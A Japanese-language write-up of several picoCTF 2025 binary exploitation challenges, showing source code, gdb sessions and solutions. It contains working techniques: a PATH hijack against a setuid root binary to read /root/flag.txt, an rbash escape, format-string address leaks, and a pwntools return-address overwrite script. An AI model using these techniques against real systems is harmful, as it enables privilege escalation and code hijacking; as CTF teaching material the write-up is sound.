📖

picoCTF 2025 Writeup - Binary Exploitation

に公開

PIE TIME - 75pt

Description

Can you try to get the flag? Beware we have PIE!
Additional details will be available after launching your challenge instance.

Hints

  1. Can you figure out what changed between the address you found locally and in the server output?

バイナリとソースコードが提供され、nc経由でバイナリを実行し、フラグを取得する。

ソースコードは以下。

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void segfault_handler() {
  printf("Segfault Occurred, incorrect address.\n");
  exit(0);
}

int win() {
  FILE *fptr;
  char c;

  printf("You won!\n");
  // Open file
  fptr = fopen("flag.txt", "r");
  if (fptr == NULL)
  {
      printf("Cannot open file.\n");
      exit(0);
  }

  // Read contents from file
  c = fgetc(fptr);
  while (c != EOF)
  {
      printf ("%c", c);
      c = fgetc(fptr);
  }

  printf("\n");
  fclose(fptr);
}

int main() {
  signal(SIGSEGV, segfault_handler);
  setvbuf(stdout, NULL, _IONBF, 0); // _IONBF = Unbuffered

  printf("Address of main: %p\n", &main);

  unsigned long val;
  printf("Enter the address to jump to, ex => 0x12345: ");
  scanf("%lx", &val);
  printf("Your input: %lx\n", val);

  void (*foo)(void) = (void (*)())val;
  foo();
}

プログラムは以下の動作をする。

  1. プログラムはmain関数のアドレスを表示する
  2. 入力プロンプトが表示され、ユーザがアドレスを0xXXXX形式で入力する
  3. プログラムは入力したアドレスの関数を実行する

よって、2でwin関数のアドレスを入力すれば、フラグを出力することができる。

$ checksec vuln
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

checksecでPIEは有効になっている。相対的なアドレスを求める必要がある。main関数のアドレスは出力されるので、そことの差分を求めれば良い。

gdbでバイナリvulnを実行してmainとwinのアドレスの差を計算することができる。

gdb-peda$ p (*main-*win)
$1 = 0x96

差分は0x96なのでmain関数のアドレスから0x96を引いて入力すれば良い

$ nc rescued-float.picoctf.net 55484
Address of main: 0x641f10c0a33d
Enter the address to jump to, ex => 0x12345: 0x641f10c0a2a7
Your input: 641f10c0a2a7
You won!
picoCTF{b4s1c_p051t10n_1nd3p3nd3nc3_cb52e722}

hash-only-1 - 100pt

Description

Here is a binary that has enough privilege to read the content of the flag file but will only let you know its hash. If only it could just give you the actual content!

Additional details will be available after launching your challenge instance.

sshでインスタンスにログインすると、ホームディレクトリにflaghasherという実行ファイルがある。説明文からフラグを読んでハッシュを出力するもののようだ。rootでsetuidビットが立っているのでrootの権限でファイルを読むことができる。

ローカルにコピーしてgdbで動かしてみる。

disasするとsystem関数を読んでいる部分があるので、そこでbreakしてみる

[----------------------------------registers-----------------------------------]
RAX: 0x563953b2e2c0 ("/bin/bash -c 'md5sum /root/flag.txt'")
RBX: 0x0 
RCX: 0x7fb3440100f9 (<__setuid+41>:     cmp    rax,0xfffffffffffff000)
RDX: 0x0 
RSI: 0x563932086040 ("/bin/bash -c 'md5sum /root/flag.txt'")
RDI: 0x563953b2e2c0 ("/bin/bash -c 'md5sum /root/flag.txt'")
RBP: 0x7ffc396db390 --> 0x1 
RSP: 0x7ffc396db340 --> 0x0 
RIP: 0x5639320853de (<main+181>:        call   0x563932085170 <system@plt>)
R8 : 0x0 
R9 : 0x563953b2e2c0 ("/bin/bash -c 'md5sum /root/flag.txt'")
R10: 0x7fb343f35f10 --> 0xf001a00001b36 
R11: 0x202 
R12: 0x7ffc396db4a8 --> 0x7ffc396dd6ee ("/home/nisimura-picoctf/487/flaghasher")
R13: 0x563932085329 (<main>:    endbr64)
R14: 0x0 
R15: 0x7fb3443e9040 --> 0x7fb3443ea2e0 --> 0x563932084000 --> 0x10102464c457f
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x5639320853d3 <main+170>:   mov    rdi,rax
   0x5639320853d6 <main+173>:   call   0x563932085140 <_ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE5c_strEv@plt>
   0x5639320853db <main+178>:   mov    rdi,rax
=> 0x5639320853de <main+181>:   call   0x563932085170 <system@plt>
   0x5639320853e3 <main+186>:   mov    DWORD PTR [rbp-0x44],eax
   0x5639320853e6 <main+189>:   cmp    DWORD PTR [rbp-0x44],0x0
   0x5639320853ea <main+193>:   je     0x56393208542b <main+258>
   0x5639320853ec <main+195>:   lea    rsi,[rip+0xc75]        # 0x563932086068
Guessed arguments:
arg[0]: 0x563953b2e2c0 ("/bin/bash -c 'md5sum /root/flag.txt'")
[------------------------------------stack-------------------------------------]
0000| 0x7ffc396db340 --> 0x0 
0008| 0x7ffc396db348 --> 0x0 
0016| 0x7ffc396db350 --> 0x563953b2e2c0 ("/bin/bash -c 'md5sum /root/flag.txt'")
0024| 0x7ffc396db358 --> 0x24 ('$')
0032| 0x7ffc396db360 --> 0x24 ('$')
0040| 0x7ffc396db368 --> 0x0 
0048| 0x7ffc396db370 --> 0x0 
0056| 0x7ffc396db378 --> 0xcfd2b94787e6a300 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 1, 0x00005639320853de in main ()

md5sum /root/flag.txtを実行してハッシュを出力している。PATHをいじってmd5sumの実体がcatになるようにする。

ctf-player@pico-chall$ ln -s /usr/bin/cat md5sum
ctf-player@pico-chall$ export PATH=".:$PATH"
$ ./flaghasher 
Computing the MD5 hash of /root/flag.txt.... 

picoCTF{sy5teM_b!n@riEs_4r3_5c@red_0f_yoU_fc434b2b}

hash-only-2 - 200pt

Description

Here is a binary that has enough privilege to read the content of the flag file but will only let you know its hash. If only it could just give you the actual content!
Additional details will be available after launching your challenge instance.

hash-only-2と同じく/root/flag.txtを読み込んでハッシュ値を出力するflaghasherというバイナリがホームディレクトリに存在する。

$ flaghasher
Computing the MD5 hash of /root/flag.txt.... 

8d0be0a3eae935e7b24322657f

今回はPATHを書き換えようとするとbashの機能制限によって実行できない。

$ export PATH=".:$PATH"
-rbash: PATH: readonly variable

と思ったら、通常のbashもあってbashを起動できた。後はhash-only-1と同じ方法でフラグを出力させる。

$ bash
$ export PATH=".:$PATH"
$ ln -s /usr/bin/cat md5sum
$ flaghasher
Computing the MD5 hash of /root/flag.txt.... 

picoCTF{Co-@utH0r_Of_Sy5tem_b!n@riEs_fc0640ae}

PIE TIME 2 - 200pt

Description

Can you try to get the flag? I'm not revealing anything anymore!!
Additional details will be available after launching your challenge instance.

Hints

  1. What vulnerability can be exploited to leak the address?
  2. Please be mindful of the size of pointers in this binary

ソースコードとバイナリが提供され、nc経由でバイナリにアクセスしてフラグを出力させる。

ソースコードは以下。

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void segfault_handler() {
  printf("Segfault Occurred, incorrect address.\n");
  exit(0);
}

void call_functions() {
  char buffer[64];
  printf("Enter your name:");
  fgets(buffer, 64, stdin);
  printf(buffer);

  unsigned long val;
  printf(" enter the address to jump to, ex => 0x12345: ");
  scanf("%lx", &val);

  void (*foo)(void) = (void (*)())val;
  foo();
}

int win() {
  FILE *fptr;
  char c;

  printf("You won!\n");
  // Open file
  fptr = fopen("flag.txt", "r");
  if (fptr == NULL)
  {
      printf("Cannot open file.\n");
      exit(0);
  }

  // Read contents from file
  c = fgetc(fptr);
  while (c != EOF)
  {
      printf ("%c", c);
      c = fgetc(fptr);
  }

  printf("\n");
  fclose(fptr);
}

int main() {
  signal(SIGSEGV, segfault_handler);
  setvbuf(stdout, NULL, _IONBF, 0); // _IONBF = Unbuffered

  call_functions();
  return 0;
}
  1. プログラムが「Enter your name: 」とプロンプトを出す。
  2. ユーザが名前を入力する
  3. プログラムが読み取った名前を出力する
  4. プログラムが「 enter the address to jump to, ex => 0x12345: 」とプロンプトを出す
  5. ユーザがアドレスを入力する
  6. プログラムが入力されたアドレスの関数を実行する

という流れになっている。4〜6はPIE TIMEと同じ。
win関数がフラグを出力するので、5でwin関数のアドレスを入力すれば良い。

checksecを実行するとPIEが有効になっているので、実行時にしかアドレスはわからない

$ checksec vuln
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

3で出力するのにprintf関数を使っているのでFormat String Bugが使えそう。

スタック上にはcall_functions実行中にcall_functionsの戻りアドレスが積まれる。このアドレスとwin関数のアドレスの差は同じであると考えられる。

よって、このアドレス差とcall_functionsの戻りアドレスがわかれば、win関数のアドレスがわかる。

call_functionsの中にブレークポイントを置いてデバッグする

(gdb) disas main
Dump of assembler code for function main:
   0x0000555555555400 <+0>:     endbr64
   0x0000555555555404 <+4>:     push   rbp
   0x0000555555555405 <+5>:     mov    rbp,rsp
   0x0000555555555408 <+8>:     lea    rsi,[rip+0xfffffffffffffe9a]        # 0x5555555552a9 <segfault_handler>
   0x000055555555540f <+15>:    mov    edi,0xb
   0x0000555555555414 <+20>:    call   0x555555555170 <signal@plt>
   0x0000555555555419 <+25>:    mov    rax,QWORD PTR [rip+0x2bf0]        # 0x555555558010 <stdout@@GLIBC_2.2.5>
   0x0000555555555420 <+32>:    mov    ecx,0x0
   0x0000555555555425 <+37>:    mov    edx,0x2
   0x000055555555542a <+42>:    mov    esi,0x0
   0x000055555555542f <+47>:    mov    rdi,rax
   0x0000555555555432 <+50>:    call   0x555555555180 <setvbuf@plt>
   0x0000555555555437 <+55>:    mov    eax,0x0
   0x000055555555543c <+60>:    call   0x5555555552c7 <call_functions>
   0x0000555555555441 <+65>:    mov    eax,0x0 # <- call_functionsの戻りアドレスは0x0000555555555441
   0x0000555555555446 <+70>:    pop    rbp
   0x0000555555555447 <+71>:    ret
(gdb) x/40gx $rsp
0x7fffffffd780: 0x00007fffffffd7a0      0x00007ffff7e35415
0x7fffffffd790: 0x00000a7024313225      0x00007ffff7fa75c0
0x7fffffffd7a0: 0x00007fffffffd7e0      0x00007ffff7e2b67f
0x7fffffffd7b0: 0x0000000000000000      0x00007fffffffd918
0x7fffffffd7c0: 0x0000000000000001      0x0000000000000000
0x7fffffffd7d0: 0x0000000000000000      0x56b2e4eb67709100
0x7fffffffd7e0: 0x00007fffffffd7f0      0x0000555555555441 # <- call_functionsの戻りアドレス
0x7fffffffd7f0: 0x00007fffffffd890      0x00007ffff7dcd1ca
0x7fffffffd800: 0x00007fffffffd840      0x00007fffffffd918
0x7fffffffd810: 0x0000000155554040      0x0000555555555400
0x7fffffffd820: 0x00007fffffffd918      0x59415672d0af6b0d
0x7fffffffd830: 0x0000000000000001      0x0000000000000000
0x7fffffffd840: 0x0000000000000000      0x00007ffff7ffd000
0x7fffffffd850: 0x59415672d18f6b0d      0x59414634c28d6b0d
0x7fffffffd860: 0x00007fff00000000      0x0000000000000000
0x7fffffffd870: 0x0000000000000000      0x0000000000000001
0x7fffffffd880: 0x0000000000000000      0x56b2e4eb67709100
0x7fffffffd890: 0x00007fffffffd8f0      0x00007ffff7dcd28b
0x7fffffffd8a0: 0x00007fffffffd928      0x00007ffff7ffe2e0
0x7fffffffd8b0: 0x00007fff00000000      0x0000555555555400

call_functionsの戻りアドレスがスタックトップから14番目に入っている。これはprintf関数からみると19番目の引数になる(スタックのトップが6番目の引数になることから計算する)。これとFormat String Bugをつかってプログラムに戻りアドレスを出力させることができる。

さらにこの戻りアドレスとwin関数のアドレス差を計算する。

(gdb) p *win
$1 = {<text variable, no debug info>} 0x55555555536a <win>
(gdb) p 0x0000555555555441-0x55555555536a
$2 = 215

アドレス差は10進数で215になる。

この情報を用いてwin関数にジャンプさせる。

$ nc rescued-float.picoctf.net 59084
Enter your name:%19$p
0x606c4bf9e441 # <- call_functionsの戻りアドレス
 enter the address to jump to, ex => 0x12345: 0x606c4bf9e36a # <- 0x606c4bf9e441 - 215
You won!
picoCTF{p13_5h0u1dn'7_134k_1ef23143}

Echo Valley - 300pt

Description

The echo valley is a simple function that echoes back whatever you say to it.
But how do you make it respond with something more interesting, like a flag?
Download the source: valley.c
Download the binary: valley

Additional details will be available after launching your challenge instance.

Hints

  1. Ever heard of a format string attack?

ソースコードとバイナリが提供され、ncコマンド経由でフラグを出力させる。

ヒントから今回もFormat String Bug問題である。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void print_flag() {
    char buf[32];
    FILE *file = fopen("/home/valley/flag.txt", "r");

    if (file == NULL) {
      perror("Failed to open flag file");
      exit(EXIT_FAILURE);
    }
    
    fgets(buf, sizeof(buf), file);
    printf("Congrats! Here is your flag: %s", buf);
    fclose(file);
    exit(EXIT_SUCCESS);
}

void echo_valley() {
    printf("Welcome to the Echo Valley, Try Shouting: \n");

    char buf[100];

    while(1)
    {
        fflush(stdout);
        if (fgets(buf, sizeof(buf), stdin) == NULL) {
          printf("\nEOF detected. Exiting...\n");
          exit(0);
        }

        if (strcmp(buf, "exit\n") == 0) {
            printf("The Valley Disappears\n");
            break;
        }

        printf("You heard in the distance: ");
        printf(buf);
        fflush(stdout);
    }
    fflush(stdout);
}

int main()
{
    echo_valley();
    return 0;
}

while(1)でループしているので複数回Format String Bugを実行することができる。

gdbでecho_valley関数内にブレークポイントを置き、スタックを表示する。

(gdb) x/40gx $rsp
0x7ffdcb5a6600: 0x3225207024303225      0x000000000a702431 # 6,7番目
0x7ffdcb5a6610: 0x0000000000000000      0x0000000000000000 # 8,9番目
0x7ffdcb5a6620: 0x0000000000000000      0x0000000000000000 # 10,11番目
0x7ffdcb5a6630: 0x0000000000000000      0x0000000000000000 # 12,13番目
0x7ffdcb5a6640: 0x0000000000000000      0x0000000000000000 # 14,15番目
0x7ffdcb5a6650: 0x0000000000000000      0x0000000000000000 # 16,17番目
0x7ffdcb5a6660: 0x0000000000000000      0x66ea05727d799e00 # 18,19番目
0x7ffdcb5a6670: 0x00007ffdcb5a6680      0x000055d8e6fb4413 # <- 戻りアドレス。21番目
0x7ffdcb5a6680: 0x0000000000000001      0x00007effef56ed90

スタックトップから16番目の位置にecho_valleyの戻りアドレスがある。この戻りアドレス(0x000055d8e6fb4413)をprint_flagのアドレスに書き換えてフラグを出力させたい。

pwntoolsのfmtstr_payloadに書き換えたいアドレスと、書き換えたい値を辞書形式で渡すと、書き換えるためのフォーマット文字列を生成することができる。

書き換えたいアドレスの情報は上記の場合は戻りアドレスが書かれているアドレス0x7ffdcb5a6678である。これはアドレス0x7ffdcb5a6670の値0x00007ffdcb5a6680-8で計算できる。0x7ffdcb5a6670はスタックトップから15番目、printf関数の20番目の引数の位置にあるので、Format String Bugを用いて出力できる。

書き換えたい値はprint_flagのアドレスである。これは、echo_valleyの戻りアドレスとprint_flagのアドレスの差が0x1aaであるので、echo_valleyの戻りアドレスがわかれば計算できる。echo_valleyの戻りアドレスはスタックトップから16番目、printf関数の21番目の引数の位置にあるので、Format String Bugを利用して出力可能。

よって、1回目の入力で20番目の引数と21番目の引数を出力し、その情報をもとに2回目の入力でecho_valleyの戻りアドレスの書き換えを行う。その後にexitを入力することでecho_valleyを抜け出して、戻りアドレスにリターンすることでprint_flagを実行する

host = 'shape-facility.picoctf.net'
port = 51345

# io = process('./valley')
io = remote(host, port)

msg = b'%20$p %21$p'
io.sendline(msg)
io.recvuntil(b'You heard in the distance: ')
rbp, return_addr = map(lambda x: int(x, 16), io.recvline().strip().split())
print(f'rbp = {hex(rbp)}')
print('return_addr:', hex(return_addr))
arg21_addr = rbp - 8
print(f'arg21_addr = {hex(arg21_addr)}')

print_flag_addr = return_addr - diff

msg = fmtstr_payload(6, {arg21_addr: print_flag_addr}, write_size='short')
print(f'msg = {msg}')
io.sendline(msg)
print('send payload')
response = io.recvrepeat(0.5)
print(response)
io.sendline(b'exit')
print(io.recvall())

これを実行すると以下のように出力される

rbp = 0x7fff1d4f4b30
return_addr: 0x63d190a65413
arg21_addr = 0x7fff1d4f4b28
msg = b'%21097c%11$lln%4456c%12$hn%11477c%13$hna(KO\x1d\xff\x7f\x00\x00,KO\x1d\xff\x7f\x00\x00*KO\x1d\xff\x7f\x00\x00'
send payload
b'You heard in the distance:
...
[+] Receiving all data: Done (81B)
[*] Closed connection to shape-facility.picoctf.net port 51345
b'The Valley Disappears\nCongrats! Here is your flag: picoctf{f1ckl3_f0rmat_f1asc0}\n'

handoff - 400pt

未解答

Description

Download the binary here
Download the source here
Connect to the program with netcat:
$ nc shape-facility.picoctf.net 51954

Discussion